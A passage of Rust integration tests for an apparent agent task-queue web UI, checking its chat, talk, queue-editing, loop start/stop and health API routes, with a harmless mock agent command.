4377 "an explicit refresh must rescan even inside the TTL"
4378 );
4379 }
4380
4381 #[tokio::test]
4382 async fn posting_a_chat_with_an_unknown_from_names_the_id_in_a_4xx() {
4383 let f = Fixture::start().await;
4384 let res = f
4385 .post(
4386 "/api/chats",
4387 Some(r#"{"idea":"same idea, another repo","from":"nosuchchat"}"#),
4388 )
4389 .await;
4390 assert!(res.status >= 400 && res.status < 500, "{}", res.status);
4391 assert!(
4392 res.json()["error"]
4393 .as_str()
4394 .is_some_and(|e| e.contains("nosuchchat")),
4395 "the error names the id that does not exist: {}",
4396 res.body
4397 );
4398 assert!(
4399 f.chats().list().is_empty(),
4400 "a chat must not be created against an unresolvable `from`"
4401 );
4402 }
4403
4404 const MOCK_AGENT_TOML: &str = "[roles]\nplanner = \"mock\"\n\n[[agents]]\nid = \"mock\"\nkind = \"command\"\ncommand = [\"sh\", \"-c\", \"cat >/dev/null && printf ok\"]\n";
4421
4422 #[tokio::test]
4423 async fn a_posted_chat_takes_the_given_repo_and_otherwise_keeps_the_servers_own() {
4424 let tmp = TempDir::new().expect("tempdir");
4425 let repo = tmp.path().join("repo");
4426 let other = tmp.path().join("other");
4427 std::fs::create_dir_all(&repo).expect("repo dir");
4428 std::fs::create_dir_all(&other).expect("other repo dir");
4429 std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).expect("write magi.toml");
4433 std::fs::write(other.join("magi.toml"), MOCK_AGENT_TOML).expect("write magi.toml");
4434
4435 let f = Fixture::with_repo(repo.clone()).await;
4436
4437 let default_res = f
4438 .post("/api/chats", Some(r#"{"idea":"rework the config loader"}"#))
4439 .await;
4440 assert_eq!(default_res.status, 201, "{}", default_res.body);
4441 assert_eq!(
4442 default_res.json()["repo"],
4443 repo.canonicalize().unwrap().display().to_string(),
4444 "omitting `repo` must keep the server's own"
4445 );
4446
4447 let body = format!(
4448 r#"{{"idea":"rework the config loader","repo":{:?}}}"#,
4449 other.to_string_lossy()
4450 );
4451 let explicit_res = f.post("/api/chats", Some(&body)).await;
4452 assert_eq!(explicit_res.status, 201, "{}", explicit_res.body);
4453 assert_eq!(
4454 explicit_res.json()["repo"],
4455 other.canonicalize().unwrap().display().to_string(),
4456 "an explicit `repo` must override the server's own"
4457 );
4458 }
4459
4460 async fn talk_fixture() -> (TempDir, PathBuf, Fixture) {
4464 let tmp = TempDir::new().expect("tempdir");
4465 let repo = tmp.path().join("repo");
4466 std::fs::create_dir_all(&repo).expect("repo dir");
4467 std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).expect("write magi.toml");
4468 let f = Fixture::with_repo(repo.clone()).await;
4469 (tmp, repo, f)
4470 }
4471
4472 #[tokio::test]
4473 async fn posting_a_talk_with_no_body_opens_one_and_takes_no_turn() {
4474 let (_tmp, _repo, f) = talk_fixture().await;
4475
4476 let opened = f.post("/api/talks", None).await;
4479 assert_eq!(opened.status, 201, "{}", opened.body);
4480 let body = opened.json();
4481 assert_eq!(body["status"], "open");
4482 assert_eq!(
4483 body["turns"].as_array().unwrap().len(),
4484 0,
4485 "opening takes no agent turn: there is nothing yet to answer"
4486 );
4487
4488 let also_opened = f.post("/api/talks", Some("{}")).await;
4490 assert_eq!(also_opened.status, 201, "{}", also_opened.body);
4491
4492 let listed = f.get("/api/talks").await.json();
4493 assert_eq!(listed.as_array().unwrap().len(), 2);
4494 }
4495
4496 #[tokio::test]
4497 async fn talk_detail_lists_the_tasks_it_has_filed_and_stays_open() {
4498 let f = Fixture::start().await;
4499 let talk_id = seed_talk(&f, "20260904-014455-ab12", "open");
4500 let queue = f.queue();
4501 let mut mine = Task::new(
4502 "rename the loader".to_owned(),
4503 "rename the loader".to_owned(),
4504 PathBuf::from("/repo/magi"),
4505 Source::Agent {
4506 run: talk_id.clone(),
4507 node: "chat".to_owned(),
4508 },
4509 );
4510 queue.put(&mut mine).expect("file the task");
4511 let mut theirs = Task::new(
4512 "unrelated".to_owned(),
4513 "unrelated".to_owned(),
4514 PathBuf::from("/repo/magi"),
4515 Source::Human,
4516 );
4517 queue.put(&mut theirs).expect("file the task");
4518
4519 let res = f.get(&format!("/api/talks/{talk_id}")).await;
4520 assert_eq!(res.status, 200, "{}", res.body);
4521 let body = res.json();
4522 assert_eq!(
4523 body["status"], "open",
4524 "filing a task does not close a talk"
4525 );
4526 let tasks = body["tasks"].as_array().expect("tasks array");
4527 assert_eq!(tasks.len(), 1, "only this talk's own task is listed");
4528 assert_eq!(tasks[0]["id"], mine.id);
4529 }
4530
4531 #[tokio::test]
4532 async fn talk_say_records_the_operators_turn_before_the_agents_reply_lands() {
4533 let (_tmp, _repo, f) = talk_fixture().await;
4534 let id = f.post("/api/talks", None).await.json()["id"]
4535 .as_str()
4536 .expect("id")
4537 .to_owned();
4538
4539 let res = f
4540 .post(
4541 &format!("/api/talks/{id}/say"),
4542 Some(r#"{"text":"what does the queue module do?"}"#),
4543 )
4544 .await;
4545 assert_eq!(res.status, 202, "{}", res.body);
4546 let queued = res.json();
4547 let turns = queued["turns"].as_array().expect("turns array");
4548 assert_eq!(
4549 turns.len(),
4550 1,
4551 "the answer reflects only what is on disk the instant it is sent, \
4552 before the agent's turn - which can run for `talk::TURN_TIMEOUT` \
4553 - has a chance to land: {queued}"
4554 );
4555 assert_eq!(turns[0]["who"], "operator");
4556 assert_eq!(turns[0]["body"], "what does the queue module do?");
4557
4558 let mut turns_after = 1;
4559 for _ in 0..200 {
4560 let detail = f.get(&format!("/api/talks/{id}")).await.json();
4561 turns_after = detail["turns"].as_array().expect("turns array").len();
4562 if turns_after == 2 {
4563 break;
4564 }
4565 tokio::time::sleep(Duration::from_millis(10)).await;
4566 }
4567 assert_eq!(turns_after, 2, "the agent's reply eventually lands");
4568 }
4569
4570 #[tokio::test]
4571 async fn talk_close_makes_the_talk_refuse_further_turns() {
4572 let f = Fixture::start().await;
4573 let id = seed_talk(&f, "20260904-014455-cd34", "open");
4574
4575 let closed = f.post(&format!("/api/talks/{id}/close"), None).await;
4576 assert_eq!(closed.status, 200, "{}", closed.body);
4577 assert_eq!(closed.json()["status"], "closed");
4578
4579 let closed_again = f.post(&format!("/api/talks/{id}/close"), None).await;
4581 assert_eq!(closed_again.status, 200);
4582 assert_eq!(closed_again.json()["status"], "closed");
4583 }
4584
4585 #[tokio::test]
4586 async fn talks_never_appear_in_the_planning_chat_list() {
4587 let (_tmp, _repo, f) = talk_fixture().await;
4588
4589 let opened = f.post("/api/talks", None).await;
4590 assert_eq!(opened.status, 201, "{}", opened.body);
4591
4592 let chats = f.get("/api/chats").await.json();
4593 assert!(
4594 chats.as_array().unwrap().is_empty(),
4595 "a talk must never surface as a planning chat: {chats}"
4596 );
4597 let talks = f.get("/api/talks").await.json();
4598 assert_eq!(talks.as_array().unwrap().len(), 1);
4599 }
4600
4601 #[tokio::test]
4602 async fn holding_then_releasing_returns_a_task_to_the_loop_with_a_fresh_budget() {
4603 let f = Fixture::start().await;
4604 let queue = f.queue();
4605 let mut task = Task::new(
4606 "spent".to_owned(),
4607 "Try again".to_owned(),
4608 PathBuf::from("/repo/magi"),
4609 Source::Human,
4610 );
4611 task.start("20260902-140502-bbbb".to_owned());
4612 task.fail("agent gave up", 9);
4613 queue.put(&mut task).expect("file the task");
4614
4615 let held = f.post(&format!("/api/queue/{}/hold", task.id), None).await;
4616 assert_eq!(held.status, 200);
4617 assert_eq!(held.json()["status_str"], "held");
4618
4619 let released = f
4620 .post(&format!("/api/queue/{}/release", task.id), None)
4621 .await;
4622 assert_eq!(released.status, 200);
4623 assert_eq!(released.json()["status_str"], "queued");
4624 assert_eq!(
4625 released.json()["attempts"],
4626 0,
4627 "release is a real second chance, not an instant re-hold"
4628 );
4629 assert_eq!(
4630 queue.get(&task.id).expect("reload").status,
4631 TaskStatus::Queued,
4632 "the change is on disk, not only in the reply"
4633 );
4634 assert!(
4635 !f.home
4636 .path()
4637 .join("queue")
4638 .join(format!("{}.lock", task.id))
4639 .exists(),
4640 "the claim the mutation took is released again"
4641 );
4642 }
4643
4644 #[tokio::test]
4645 async fn a_task_a_daemon_is_running_cannot_be_changed_from_the_phone() {
4646 let f = Fixture::start().await;
4647 let queue = f.queue();
4648 let mut task = Task::new(
4649 "busy".to_owned(),
4650 "Running right now".to_owned(),
4651 PathBuf::from("/repo/magi"),
4652 Source::Human,
4653 );
4654 queue.put(&mut task).expect("file the task");
4655 let _claim = queue.claim(&task.id).expect("stand in for the daemon");
4656
4657 let res = f.post(&format!("/api/queue/{}/hold", task.id), None).await;
4658
4659 assert_eq!(res.status, 409);
4660 assert_eq!(
4661 queue.get(&task.id).expect("reload").status,
4662 TaskStatus::Queued,
4663 "the refused hold changed nothing"
4664 );
4665 }
4666
4667 #[tokio::test]
4668 async fn holding_with_a_reason_reads_back_from_show_and_the_card_and_release_clears_it() {
4669 let f = Fixture::start().await;
4670 let queue = f.queue();
4671 let mut task = Task::new(
4672 "waiting on the migration".to_owned(),
4673 "Do the thing".to_owned(),
4674 PathBuf::from("/repo/magi"),
4675 Source::Human,
4676 );
4677 queue.put(&mut task).expect("file the task");
4678
4679 let held = f
4680 .post(
4681 &format!("/api/queue/{}/hold", task.id),
4682 Some(r#"{"reason":"waiting for 20260101-000000-aaaa to land"}"#),
4683 )
4684 .await;
4685 assert_eq!(held.status, 200, "{}", held.body);
4686 assert_eq!(held.json()["status_str"], "held");
4687 assert_eq!(
4688 held.json()["hold_reason"],
4689 "waiting for 20260101-000000-aaaa to land"
4690 );
4691
4692 let listed = f.get("/api/queue").await.json();
4693 assert_eq!(
4694 listed[0]["hold_reason"], "waiting for 20260101-000000-aaaa to land",
4695 "the card reads the reason off the same list route"
4696 );
4697
4698 let mut plain = Task::new(
4701 "no reason given".to_owned(),
4702 "Do another thing".to_owned(),
4703 PathBuf::from("/repo/magi"),
4704 Source::Human,
4705 );
4706 queue.put(&mut plain).expect("file the task");
4707 let held_plain = f.post(&format!("/api/queue/{}/hold", plain.id), None).await;
4708 assert_eq!(held_plain.status, 200, "{}", held_plain.body);
4709 assert!(held_plain.json()["hold_reason"].is_null());
4710
4711 let released = f
4712 .post(&format!("/api/queue/{}/release", task.id), None)
4713 .await;
4714 assert_eq!(released.status, 200);
4715 assert!(
4716 released.json()["hold_reason"].is_null(),
4717 "a release must clear the reason so the next hold does not inherit it"
4718 );
4719 }
4720
4721 #[tokio::test]
4722 async fn priority_can_be_raised_from_the_phone_and_moves_the_task_ahead() {
4723 let f = Fixture::start().await;
4724 let queue = f.queue();
4725 let mut older = Task::new(
4726 "filed first".to_owned(),
4727 "x".to_owned(),
4728 PathBuf::from("/repo/magi"),
4729 Source::Human,
4730 );
4731 older.id = "20260101-000001-aaaa".to_owned();
4732 let mut newer = Task::new(
4733 "filed second".to_owned(),
4734 "x".to_owned(),
4735 PathBuf::from("/repo/magi"),
4736 Source::Human,
4737 );
4738 newer.id = "20260101-000002-bbbb".to_owned();
4739 queue.put(&mut older).expect("file older");
4740 queue.put(&mut newer).expect("file newer");
4741
4742 let before = f.get("/api/queue").await.json();
4745 assert_eq!(before[0]["id"], newer.id);
4746 assert_eq!(before[1]["id"], older.id);
4747
4748 let raised = f
4752 .post(
4753 &format!("/api/queue/{}/priority", older.id),
4754 Some(r#"{"priority":10}"#),
4755 )
4756 .await;
4757 assert_eq!(raised.status, 200, "{}", raised.body);
4758 assert_eq!(raised.json()["priority"], 10);
4759
4760 let after = f.get("/api/queue").await.json();
4761 let names: Vec<&str> = after
4762 .as_array()
4763 .unwrap()
4764 .iter()
4765 .map(|t| t["id"].as_str().unwrap())
4766 .collect();
4767 assert_eq!(names[0], older.id, "the raised task now sorts first");
4771 }
4772
4773 #[tokio::test]
4774 async fn priority_is_refused_on_a_running_task_with_a_reason_in_the_body() {
4775 let f = Fixture::start().await;
4776 let queue = f.queue();
4777 let mut task = Task::new(
4778 "in flight".to_owned(),
4779 "x".to_owned(),
4780 PathBuf::from("/repo/magi"),
4781 Source::Human,
4782 );
4783 task.start("20260902-140502-bbbb".to_owned());
4784 queue.put(&mut task).expect("file the task");
4785
4786 let res = f
4787 .post(
4788 &format!("/api/queue/{}/priority", task.id),
4789 Some(r#"{"priority":9}"#),
4790 )
4791 .await;
4792 assert_eq!(res.status, 400, "{}", res.body);
4793 assert!(
4794 res.json()["error"]
4795 .as_str()
4796 .is_some_and(|e| e.contains("running")),
4797 "{}",
4798 res.body
4799 );
4800 assert_eq!(
4801 queue.get(&task.id).expect("reload").priority,
4802 0,
4803 "the refused write must not partially apply"
4804 );
4805 }
4806
4807 #[tokio::test]
4808 async fn editing_replaces_title_and_instruction_and_keeps_id_created_at_source_and_runs() {
4809 let f = Fixture::start().await;
4810 let queue = f.queue();
4811 let mut task = Task::new(
4812 "old title".to_owned(),
4813 "old instruction".to_owned(),
4814 PathBuf::from("/repo/magi"),
4815 Source::Agent {
4816 run: "20260101-000000-beef".to_owned(),
4817 node: "implement".to_owned(),
4818 },
4819 );
4820 task.runs.push("20260101-000000-beef".to_owned());
4821 queue.put(&mut task).expect("file the task");
4822 let created_at = task.created_at;
4823
4824 let edited = f
4825 .post(
4826 &format!("/api/queue/{}/edit", task.id),
4827 Some(r#"{"title":"new title","instruction":"new instruction"}"#),
4828 )
4829 .await;
4830 assert_eq!(edited.status, 200, "{}", edited.body);
4831 let body = edited.json();
4832 assert_eq!(body["title"], "new title");
4833 assert_eq!(body["instruction"], "new instruction");
4834 assert_eq!(body["id"], task.id, "editing must not mint a new id");
4835 assert_eq!(body["created_at"], created_at.to_string());
4836 assert_eq!(
4837 body["source"]["kind"], "agent",
4838 "editing a task an agent filed must not turn it human: {body}"
4839 );
4840 assert_eq!(body["runs"], serde_json::json!(["20260101-000000-beef"]));
4841
4842 let reloaded = queue.get(&task.id).expect("reload");
4843 assert_eq!(reloaded.title, "new title");
4844 assert_eq!(reloaded.instruction, "new instruction");
4845 }
4846
4847 #[tokio::test]
4848 async fn editing_a_running_task_is_refused_with_a_reason_in_the_response() {
4849 let f = Fixture::start().await;
4850 let queue = f.queue();
4851 let mut task = Task::new(
4852 "in flight".to_owned(),
4853 "do not touch".to_owned(),
4854 PathBuf::from("/repo/magi"),
4855 Source::Human,
4856 );
4857 task.start("20260902-140502-bbbb".to_owned());
4858 queue.put(&mut task).expect("file the task");
4859
4860 let res = f
4861 .post(
4862 &format!("/api/queue/{}/edit", task.id),
4863 Some(r#"{"title":"x","instruction":"y"}"#),
4864 )
4865 .await;
4866 assert_eq!(res.status, 400, "{}", res.body);
4867 assert!(
4868 res.json()["error"]
4869 .as_str()
4870 .is_some_and(|e| e.contains("running")),
4871 "{}",
4872 res.body
4873 );
4874 assert_eq!(
4875 queue.get(&task.id).expect("reload").instruction,
4876 "do not touch",
4877 "the refused edit must not change the file"
4878 );
4879 }
4880
4881 #[tokio::test]
4882 async fn a_claimed_task_refuses_priority_and_edit_the_same_way_it_refuses_hold() {
4883 let f = Fixture::start().await;
4884 let queue = f.queue();
4885 let mut task = Task::new(
4886 "busy".to_owned(),
4887 "Running right now".to_owned(),
4888 PathBuf::from("/repo/magi"),
4889 Source::Human,
4890 );
4891 queue.put(&mut task).expect("file the task");
4892 let _claim = queue.claim(&task.id).expect("stand in for the daemon");
4893
4894 let priority = f
4895 .post(
4896 &format!("/api/queue/{}/priority", task.id),
4897 Some(r#"{"priority":9}"#),
4898 )
4899 .await;
4900 assert_eq!(priority.status, 409, "{}", priority.body);
4901
4902 let edit = f
4903 .post(
4904 &format!("/api/queue/{}/edit", task.id),
4905 Some(r#"{"title":"x","instruction":"y"}"#),
4906 )
4907 .await;
4908 assert_eq!(edit.status, 409, "{}", edit.body);
4909 }
4910
4911 #[tokio::test]
4912 async fn done_from_the_phone_keeps_runs_source_and_created_at_unlike_delete() {
4913 let f = Fixture::start().await;
4914 let queue = f.queue();
4915 let mut task = Task::new(
4916 "shipped by hand".to_owned(),
4917 "merged outside the loop".to_owned(),
4918 PathBuf::from("/repo/magi"),
4919 Source::Agent {
4920 run: "20260101-000000-b455".to_owned(),
4921 node: "implement".to_owned(),
4922 },
4923 );
4924 task.runs.push("20260101-000000-b455".to_owned());
4925 task.runs.push("20260101-000000-9af4".to_owned());
4926 queue.put(&mut task).expect("file the task");
4927 let created_at = task.created_at;
4928
4929 let done = f.post(&format!("/api/queue/{}/done", task.id), None).await;
4930 assert_eq!(done.status, 200, "{}", done.body);
4931 assert_eq!(done.json()["status_str"], "done");
4932
4933 let reloaded = queue.get(&task.id).expect("a done task is still on disk");
4934 assert_eq!(
4935 reloaded.runs,
4936 ["20260101-000000-b455", "20260101-000000-9af4"]
4937 );
4938 assert_eq!(
4939 reloaded.source,
4940 Source::Agent {
4941 run: "20260101-000000-b455".to_owned(),
4942 node: "implement".to_owned(),
4943 }
4944 );
4945 assert_eq!(reloaded.created_at, created_at);
4946 }
4947
4948 #[tokio::test]
4949 async fn closing_a_held_task_as_done_from_the_phone_clears_its_hold_reason() {
4950 let f = Fixture::start().await;
4955 let queue = f.queue();
4956 let mut task = Task::new(
4957 "landed while held".to_owned(),
4958 "x".to_owned(),
4959 PathBuf::from("/repo/magi"),
4960 Source::Human,
4961 );
4962 task.hold(Some("waiting on 3ed9".to_owned()));
4963 queue.put(&mut task).expect("file the held task");
4964
4965 let done = f.post(&format!("/api/queue/{}/done", task.id), None).await;
4966 assert_eq!(done.status, 200, "{}", done.body);
4967 assert_eq!(done.json()["status_str"], "done");
4968 assert!(
4969 done.json()["hold_reason"].is_null(),
4970 "a done task cannot still be waiting on something: {}",
4971 done.body
4972 );
4973 }
4974
4975 #[tokio::test]
4976 async fn unknown_ids_are_json_not_found_on_both_stores() {
4977 let f = Fixture::start().await;
4978
4979 let run = f.get("/api/runs/nosuchrun").await;
4980 let task = f.post("/api/queue/nosuchtask/hold", None).await;
4981
4982 assert_eq!(run.status, 404);
4983 assert_eq!(task.status, 404);
4984 assert!(
4985 run.json()["error"]
4986 .as_str()
4987 .is_some_and(|e| e.contains("run")),
4988 "the error names what was not found: {}",
4989 run.body
4990 );
4991 assert!(
4992 task.json()["error"]
4993 .as_str()
4994 .is_some_and(|e| e.contains("task")),
4995 "the error names what was not found: {}",
4996 task.body
4997 );
4998 }
4999
5000 #[tokio::test]
5001 async fn the_daemon_counts_as_running_only_while_its_heartbeat_is_fresh() {
5002 let f = Fixture::start().await;
5003
5004 let missing = f.get("/api/health").await.json();
5005 assert_eq!(missing["daemon"]["running"], false, "no file, no daemon");
5006
5007 write_daemon(
5008 f.home.path(),
5009 Timestamp::now() - jiff::SignedDuration::from_secs(60),
5010 );
5011 let stale = f.get("/api/health").await.json();
5012 assert_eq!(
5013 stale["daemon"]["running"], false,
5014 "a minute without a heartbeat is a dead daemon, not a busy one"
5015 );
5016 assert!(
5017 stale["daemon"]["stale_for_secs"]
5018 .as_i64()
5019 .is_some_and(|s| s >= 55),
5020 "staleness is reported so the UI can say how long: {stale}"
5021 );
5022
5023 write_daemon(f.home.path(), Timestamp::now());
5024 let fresh = f.get("/api/health").await.json();
5025 assert_eq!(fresh["daemon"]["running"], true);
5026 assert_eq!(fresh["daemon"]["idle"], false);
5027 assert_eq!(fresh["daemon"]["pid"], 4242);
5028 assert_eq!(fresh["daemon"]["completed"], 7);
5029 assert_eq!(fresh["daemon"]["current"]["task"], "20260902-140501-aaaa");
5030 assert_eq!(fresh["version"], env!("CARGO_PKG_VERSION"));
5031 }
5032
5033 #[tokio::test]
5034 async fn the_loop_is_not_running_until_something_starts_it() {
5035 let f = Fixture::start().await;
5036
5037 let view = f.get("/api/loop").await.json();
5038 assert_eq!(view["running"], false);
5039 assert_eq!(
5040 view["owned"], false,
5041 "nobody owns a loop that does not exist: {view}"
5042 );
5043 assert_eq!(view["stopping"], false);
5044 assert_eq!(view["last_error"], Value::Null);
5045 assert_eq!(view["daemon"]["running"], false);
5046 assert_eq!(
5047 view["repo"], "/repo/magi",
5048 "the repository a start would use, named before it is started"
5049 );
5050 }
5051
5052 #[tokio::test]
5053 async fn starting_the_loop_runs_it_in_this_process_and_health_says_the_same() {
5054 let f = Fixture::start().await;
5055
5056 let res = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
5057 assert_eq!(res.status, 200, "{}", res.body);
5058 let view = res.json();
5059 assert_eq!(view["running"], true);
5060 assert_eq!(
5061 view["owned"], true,
5062 "the loop the UI started is the UI's own to stop: {view}"
5063 );
5064 assert_eq!(
5065 view["merge"],
5066 Value::Null,
5067 "no override was given, so each repository's own config decides"
5068 );
5069
5070 let health = f.get("/api/health").await.json();
5074 assert_eq!(health["loop"]["running"], true, "{health}");
5075 assert_eq!(health["loop"]["owned"], true, "{health}");
5076
5077 f.post("/api/loop", Some(r#"{"running":false}"#)).await;
5078 }
5079
5080 #[tokio::test]
5081 async fn a_second_start_is_refused_rather_than_racing_the_first_for_claims() {
5082 let f = Fixture::start().await;
5083 let first = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
5084 assert_eq!(first.status, 200, "{}", first.body);
5085
5086 let again = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
5087 assert_eq!(
5088 again.status, 409,
5089 "two loops on one queue race for the same claims: {}",
5090 again.body
5091 );
5092 assert!(
5093 again.json()["error"]
5094 .as_str()
5095 .is_some_and(|e| e.contains("already running the loop")),
5096 "the refusal has to say why: {}",
5097 again.body
5098 );
5099 assert_eq!(
5100 f.get("/api/loop").await.json()["running"],
5101 true,
5102 "and the loop that was already running is untouched by it"
5103 );
5104
5105 f.post("/api/loop", Some(r#"{"running":false}"#)).await;
5106 }
5107
5108 #[tokio::test]
5109 async fn stopping_answers_at_once_and_the_loop_settles_stopped() {
5110 let f = Fixture::start().await;
5111 f.post("/api/loop", Some(r#"{"running":true}"#)).await;
5112
5113 let res = f.post("/api/loop", Some(r#"{"running":false}"#)).await;
5114 assert_eq!(
5115 res.status, 200,
5116 "the answer must not wait for the loop: a run in flight is tens of \
5117 minutes and the operator is holding a phone: {}",
5118 res.body
5119 );
5120
5121 let view = settled(&f, |v| v["running"] == false).await;
5122 assert_eq!(view["owned"], false);
5123 assert_eq!(
5124 view["stopping"], false,
5125 "a loop that has stopped is not still stopping: {view}"
5126 );
5127 assert_eq!(
5128 view["last_error"],
5129 Value::Null,
5130 "a loop that was asked to stop did not fail: {view}"
5131 );
5132
5133 let twice = f.post("/api/loop", Some(r#"{"running":false}"#)).await;
5136 assert_eq!(twice.status, 200, "{}", twice.body);
5137 }
5138
5139 #[tokio::test]
5140 async fn a_loop_another_process_owns_can_be_neither_started_nor_stopped_here() {
5141 let f = Fixture::start().await;
5142 write_daemon(f.home.path(), Timestamp::now());
5145
5146 let view = f.get("/api/loop").await.json();
5147 assert_eq!(view["running"], false, "not in this process: {view}");
5148 assert_eq!(view["owned"], false, "and not this process's to control");
5149 assert_eq!(
5150 view["daemon"]["running"], true,
5151 "but a loop is alive somewhere, which is what the UI must say"
5152 );
5153 assert_eq!(view["daemon"]["pid"], 4242);
5154
5155 for body in [r#"{"running":true}"#, r#"{"running":false}"#] {
5156 let res = f.post("/api/loop", Some(body)).await;
5157 assert_eq!(
5158 res.status, 409,
5159 "neither button may pretend to work on someone else's loop: {}",
5160 res.body
5161 );
5162 assert!(
5163 res.json()["error"]
5164 .as_str()
5165 .is_some_and(|e| e.contains("4242")),
5166 "the refusal has to name the process the operator must go to: {}",
5167 res.body
5168 );
5169 }
5170 assert_eq!(
5171 f.get("/api/loop").await.json()["running"],
5172 false,
5173 "and the refusal started nothing"
5174 );
5175 }
5176
5177 #[tokio::test]
5178 async fn a_stale_status_file_is_not_a_foreign_owner() {
5179 let f = Fixture::start().await;
5180 write_daemon(
5181 f.home.path(),
5182 Timestamp::now() - jiff::SignedDuration::from_secs(60),
5183 );
5184
5185 let res = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
5186 assert_eq!(
5187 res.status, 200,
5188 "a daemon killed a minute ago must not lock the loop out of its \
5189 own home for good: {}",
5190 res.body
5191 );
5192 assert_eq!(res.json()["running"], true);
5193
5194 f.post("/api/loop", Some(r#"{"running":false}"#)).await;
5195 }
5196
5197 #[tokio::test]
5198 async fn loop_rev_moves_on_a_start_so_a_phone_learns_without_polling() {
5199 let f = Fixture::start().await;
5200 let before = f.get("/api/health").await.json()["loop_rev"]
5201 .as_u64()
5202 .expect("a loop revision");
5203
5204 f.post("/api/loop", Some(r#"{"running":true}"#)).await;
5205
5206 let after = f.get("/api/health").await.json()["loop_rev"]
5207 .as_u64()
5208 .expect("a loop revision");
5209 assert!(
5210 after > before,
5211 "the loop is in-process state, so this counter is the only thing \
5212 that tells a second device the first one started it: {before} -> \
5213 {after}"
5214 );
5215
5216 f.post("/api/loop", Some(r#"{"running":false}"#)).await;
5217 }
5218
5219 #[tokio::test]
5220 async fn a_loop_that_failed_says_why_and_does_not_read_as_running() {
5221 let f = Fixture::with_loop(launch_broken).await;
5222
5223 let res = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
5224 assert_eq!(
5225 res.status, 200,
5226 "starting it is not the failure: {}",
5227 res.body
5228 );
5229
5230 let view = settled(&f, |v| v["last_error"].is_string()).await;
5231 assert_eq!(
5232 view["running"], false,
5233 "a loop that died must not read as running, or the operator has \
5234 nothing to press: {view}"
5235 );
5236 assert_eq!(view["owned"], false);
5237 assert!(
5238 view["last_error"]
5239 .as_str()
5240 .is_some_and(|e| e.contains("read-only file system")),
5241 "the phone is where a loop that died at 3am is visible: {view}"
5242 );
5243
5244 let again = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
5247 assert_eq!(again.status, 200, "{}", again.body);
5248 assert_eq!(
5249 again.json()["last_error"],
5250 Value::Null,
5251 "a fresh start does not keep showing why the last one died"
5252 );
5253 }
5254
5255 #[tokio::test]
5267 async fn the_deck_answers_while_it_parks_and_frees_the_address_first() {
5268 let home = TempDir::new().expect("temp home");
5269 let runs = home.path().join("runs");
5270 std::fs::create_dir_all(&runs).expect("runs dir");
5271 let ui = Ui::new(
5272 Queue::at(home.path().join("queue")),
5273 Questions::at(home.path().join("questions")),
5274 Chats::at(home.path().join("chats")),
5275 Talks::at(home.path().join("talks")),
5276 runs,
5277 home.path().to_path_buf(),
5278 PathBuf::from("/repo/magi"),
5279 )
5280 .with_worktrees_root(home.path().join("wt"))
5281 .with_launch(launch_knocking_on_the_way_out);
5282 let looping = ui.looping();
5283 let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
5284 .await
5285 .expect("bind loopback");
5286 let addr = listener.local_addr().expect("local addr");
5287 *PARK_KNOCK.lock().expect("park knock") = Some(addr);
5288 let served = tokio::spawn(axum::serve(listener, ui.router()).into_future());
5289
5290 let started = request(addr, "POST", "/api/loop", Some(r#"{"running":true}"#)).await;
5291 assert_eq!(started.status, 200, "the loop starts: {}", started.body);
5292
5293 let bound = std::sync::Mutex::new(None);
5296 hand_over(&looping, served, || {
5297 let attempt = std::net::TcpListener::bind(addr).map_err(|e| e.to_string());
5298 *bound.lock().expect("bound") = Some(attempt);
5299 Ok(())
5300 })
5301 .await
5302 .expect("hand over");
5303
5304 assert_eq!(
5305 *PARK_HEARD.lock().expect("park heard"),
5306 Some(200),
5307 "the deck must answer while the loop is parking"
5308 );
5309 let attempt = bound
5310 .lock()
5311 .expect("bound")
5312 .take()
5313 .expect("the successor was started");
5314 assert!(
5315 attempt.is_ok(),
5316 "and the address must be free by the time it is: {attempt:?}"
5317 );
5318 }
5319
5320 #[tokio::test]
5321 async fn a_newer_daemon_status_file_still_renders() {
5322 let f = Fixture::start().await;
5323 std::fs::write(
5326 f.home.path().join("daemon.json"),
5327 serde_json::json!({
5328 "schema": 2,
5329 "updated_at": Timestamp::now().to_string(),
5330 "idle": true,
5331 "surprise": { "nested": [1, 2, 3] },
5332 })
5333 .to_string(),
5334 )
5335 .expect("write daemon.json");
5336
5337 let health = f.get("/api/health").await;
5338
5339 assert_eq!(health.status, 200);
5340 assert_eq!(health.json()["daemon"]["running"], true);
5341 }
5342
5343 #[tokio::test]
5344 async fn a_corrupt_run_is_skipped_in_the_list_and_explained_on_its_own_route() {
5345 let f = Fixture::start().await;
5346 write_run(&f.runs(), "20260902-140501-good", RunStatus::Ready);
5347 let broken = f.runs().join("20260902-140502-bad");
5348 std::fs::create_dir_all(&broken).expect("run dir");
5349 std::fs::write(broken.join("run.json"), "{ truncated").expect("write run.json");
5350
5351 let list = f.get("/api/runs").await;
5352 let detail = f.get("/api/runs/20260902-140502-bad").await;
5353
5354 assert_eq!(list.status, 200);
5355 let listed = list.json();
5356 let ids: Vec<&str> = listed
5357 .as_array()
5358 .expect("an array")
5359 .iter()
5360 .map(|r| r["id"].as_str().expect("an id"))
5361 .collect();
5362 assert_eq!(
5363 ids,
5364 vec!["20260902-140501-good"],
5365 "one unreadable run must not cost the operator the whole history"
5366 );
5367 assert_eq!(detail.status, 500);
5368 assert!(
5369 detail.json()["error"]
5370 .as_str()
5371 .is_some_and(|e| e.contains("run.json")),
5372 "the failure names the file to look at: {}",
5373 detail.body
5374 );
5375 let health = f.get("/api/health").await;
5379 assert_eq!(health.json()["runs_unreadable"], 1);
5380 }
5381
5382 #[tokio::test]
5383 async fn a_run_is_summarised_for_the_list_and_served_whole_on_its_own_route() {
5384 let f = Fixture::start().await;
5385 write_run(&f.runs(), "20260902-140501-a1b2", RunStatus::Ready);
5386
5387 let summary = f.get("/api/runs").await.json();
5388 let row = &summary[0];
5389 assert_eq!(row["short"], "a1b2");
5390 assert_eq!(row["status"], "ready");
5391 assert_eq!(row["done"], true);
5392 assert_eq!(row["title"], "Add a web UI");
5393 assert_eq!(row["repo_name"], "magi");
5394 assert_eq!(row["judges"], 3);
5395 assert_eq!(row["winner"], Value::Null);
5396 assert_eq!(row["reviews"], 0);
5397
